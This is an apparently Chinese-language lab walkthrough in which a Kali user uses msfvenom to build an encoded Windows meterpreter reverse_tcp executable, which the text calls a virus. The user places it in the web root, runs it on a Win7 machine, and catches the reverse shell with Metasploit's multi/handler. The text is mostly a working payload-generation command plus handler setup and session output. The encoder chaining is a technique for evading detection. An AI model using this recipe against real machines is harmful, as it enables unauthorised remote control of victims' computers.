root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.16.190 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/windows.exe**
生成病毒 ,命名为windows.exe
编辑好的病毒存放在/var/www/html/
下载好,移动到win7,
回到msf中,切换到 explpit/multi/handler/模块中
在模块中选择 windows/shell/reverse_tcp. payload模块
使用 show options 设置参数
发现 “LHOST”,"LPORT“两个需要设置
第一个是监听地址,第二个是监听端口。设置好
//注释! 如果run后出现
[-] Handler failed to bind to 192.168.16.192:4444:- - [-] Handler
failed to bind to 0.0.0.0:4444:- - [-] Exploit failed [bad-config]:
Rex::BindFailed The address is already in use or unavailable:
(0.0.0.0:4444). [*] Exploit completed, but no session was created.
是因为4444端口被占用了,需要切换监听端口!//
run
在win7中打开刚刚上传的病毒,等待msf终端回弹
[]Started reverse TCP handler on 192.168.16.192:4444
[]Command shell session 1 opened (192.168.16.192:4444 -> 192.168.16.190:49158) at 2020-09-28 21:17:15 +0
[*] 192.168.16.190 - Command shell session 1 closed. Reason: User exit
输入 sessions -i 1 即可获得